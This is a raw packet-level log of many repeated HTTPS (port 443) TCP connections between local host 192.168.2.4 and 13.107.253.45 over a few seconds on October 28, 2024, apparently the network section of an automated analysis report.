Oct 28, 2024 19:12:38.422713995 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.423187971 CET	49861	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.423192978 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.561736107 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.561808109 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.561861992 CET	49861	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.561873913 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.561930895 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.561980009 CET	49861	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.562133074 CET	49861	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.562150002 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.562160015 CET	49861	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.562165976 CET	443	49861	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.565093040 CET	49866	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.565136909 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.565207005 CET	49866	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.565485954 CET	49866	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.565500975 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.716548920 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.717030048 CET	49862	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.717098951 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.717644930 CET	49862	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.717660904 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.794404030 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.794863939 CET	49863	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.794879913 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.795361042 CET	49863	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.795365095 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.853765011 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.854307890 CET	49864	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.854334116 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.854804039 CET	49864	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.854808092 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.855756044 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.855926037 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.856007099 CET	49862	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.856065989 CET	49862	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.856107950 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.856144905 CET	49862	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.856162071 CET	443	49862	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.858876944 CET	49867	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.858906031 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.858977079 CET	49867	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.859097958 CET	49867	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.859110117 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.919112921 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.919689894 CET	49865	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.919702053 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.920164108 CET	49865	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.920169115 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.932801008 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.933129072 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.933192015 CET	49863	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.933258057 CET	49863	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.933275938 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.933285952 CET	49863	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.933291912 CET	443	49863	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.936145067 CET	49868	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.936225891 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.936309099 CET	49868	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.936466932 CET	49868	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.936505079 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.994266033 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.994520903 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.994596958 CET	49864	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.994760990 CET	49864	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.994774103 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.994782925 CET	49864	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.994787931 CET	443	49864	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.997523069 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.997566938 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:38.997651100 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.997796059 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:38.997807026 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.282133102 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.282157898 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.282215118 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.282329082 CET	49865	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.282612085 CET	49865	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.282630920 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.282641888 CET	49865	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.282648087 CET	443	49865	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.285898924 CET	49870	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.285943031 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.286050081 CET	49870	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.286226034 CET	49870	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.286256075 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.329811096 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.330255032 CET	49866	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.330281019 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.330707073 CET	49866	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.330712080 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.467597008 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.467809916 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.467876911 CET	49866	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.467972040 CET	49866	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.467994928 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.468007088 CET	49866	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.468012094 CET	443	49866	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.471234083 CET	49871	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.471266985 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.471344948 CET	49871	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.471524000 CET	49871	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.471540928 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.629785061 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.630422115 CET	49867	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.630440950 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.630924940 CET	49867	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.630929947 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.716991901 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.717432022 CET	49868	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.717494011 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.717928886 CET	49868	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.717947006 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.768189907 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.768678904 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.768696070 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.769105911 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.769110918 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.769718885 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.769869089 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.770550966 CET	49867	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.770872116 CET	49867	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.770883083 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.770894051 CET	49867	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.770898104 CET	443	49867	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.774081945 CET	49872	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.774104118 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.774182081 CET	49872	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.774337053 CET	49872	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.774347067 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.860446930 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.860583067 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.860654116 CET	49868	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.860815048 CET	49868	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.860853910 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.860882998 CET	49868	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.860898972 CET	443	49868	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.863980055 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.864012003 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.864099026 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.864269972 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.864284992 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.908097029 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.908576012 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.908632040 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.908637047 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.908685923 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.908730984 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.908744097 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.908761978 CET	49869	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.908767939 CET	443	49869	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.910957098 CET	49874	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.910979986 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:39.911051035 CET	49874	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.911170006 CET	49874	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:39.911184072 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.047672987 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.048084974 CET	49870	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.048129082 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.048568010 CET	49870	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.048580885 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.187357903 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.187450886 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.187608957 CET	49870	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.193026066 CET	49870	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.193073988 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.193106890 CET	49870	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.193124056 CET	443	49870	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.195806026 CET	49875	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.195842028 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.195919991 CET	49875	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.196068048 CET	49875	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.196082115 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.272309065 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.272970915 CET	49871	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.273000002 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.273430109 CET	49871	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.273436069 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.415537119 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.415714025 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.415776968 CET	49871	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.415915012 CET	49871	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.415926933 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.415944099 CET	49871	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.415949106 CET	443	49871	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.419621944 CET	49876	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.419645071 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.419724941 CET	49876	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.419872046 CET	49876	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.419888020 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.536602020 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.537034988 CET	49872	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.537049055 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.537533045 CET	49872	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.537538052 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.652508020 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.653034925 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.653074026 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.653493881 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.653500080 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.663563013 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.663994074 CET	49874	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.664009094 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.664366961 CET	49874	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.664372921 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.673919916 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.674081087 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.674143076 CET	49872	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.674210072 CET	49872	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.674221992 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.674232960 CET	49872	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.674237967 CET	443	49872	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.676903963 CET	49877	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.676973104 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.677057981 CET	49877	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.677184105 CET	49877	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.677217007 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.798293114 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.798358917 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.798410892 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.798409939 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.798455954 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.798744917 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.798760891 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.798769951 CET	49873	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.798780918 CET	443	49873	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.801675081 CET	49878	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.801698923 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.801757097 CET	49878	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.801987886 CET	49878	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.802004099 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.819854975 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.819927931 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.819981098 CET	49874	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.820101023 CET	49874	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.820106983 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.820116043 CET	49874	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.820121050 CET	443	49874	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.822354078 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.822387934 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.822473049 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.822701931 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.822729111 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.964005947 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.964567900 CET	49875	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.964581966 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:40.965121031 CET	49875	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:40.965126991 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.104692936 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.104769945 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.104814053 CET	49875	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.105115891 CET	49875	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.105127096 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.105135918 CET	49875	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.105139971 CET	443	49875	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.107959986 CET	49880	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.108005047 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.108083010 CET	49880	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.108288050 CET	49880	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.108299971 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.404349089 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.406218052 CET	49876	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.406239986 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.406697989 CET	49876	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.406702995 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.702614069 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.702802896 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.702876091 CET	49876	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.703100920 CET	49876	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.703110933 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.703133106 CET	49876	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.703136921 CET	443	49876	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.706186056 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.706288099 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.706409931 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.706532001 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.706564903 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.707115889 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.707428932 CET	49878	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.707434893 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.707855940 CET	49878	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.707859039 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.708144903 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.708389044 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.708424091 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.708717108 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.708731890 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.711451054 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.711786032 CET	49877	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.711802006 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.712162971 CET	49877	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.712173939 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.843794107 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.843983889 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.844161034 CET	49878	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.844244003 CET	49878	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.844249964 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.844266891 CET	49878	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.844269991 CET	443	49878	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.847472906 CET	49882	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.847505093 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.847678900 CET	49882	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.847877026 CET	49882	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.847893000 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.849385023 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.849423885 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.849467039 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.849478006 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.849514008 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.849723101 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.849723101 CET	49879	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.849752903 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.849766970 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.849775076 CET	443	49879	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.849838018 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.849946976 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.850028038 CET	49877	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.850028038 CET	49877	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.850056887 CET	49877	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.850068092 CET	443	49877	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.852051973 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.852291107 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.852313042 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.852396011 CET	49884	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.852422953 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.852442026 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.852488041 CET	49884	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.852523088 CET	49880	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.852529049 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.852799892 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.852816105 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.853003979 CET	49884	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.853017092 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.853023052 CET	49880	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.853027105 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.989114046 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.989360094 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.989422083 CET	49880	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.989454985 CET	49880	443	192.168.2.4	13.107.253.45
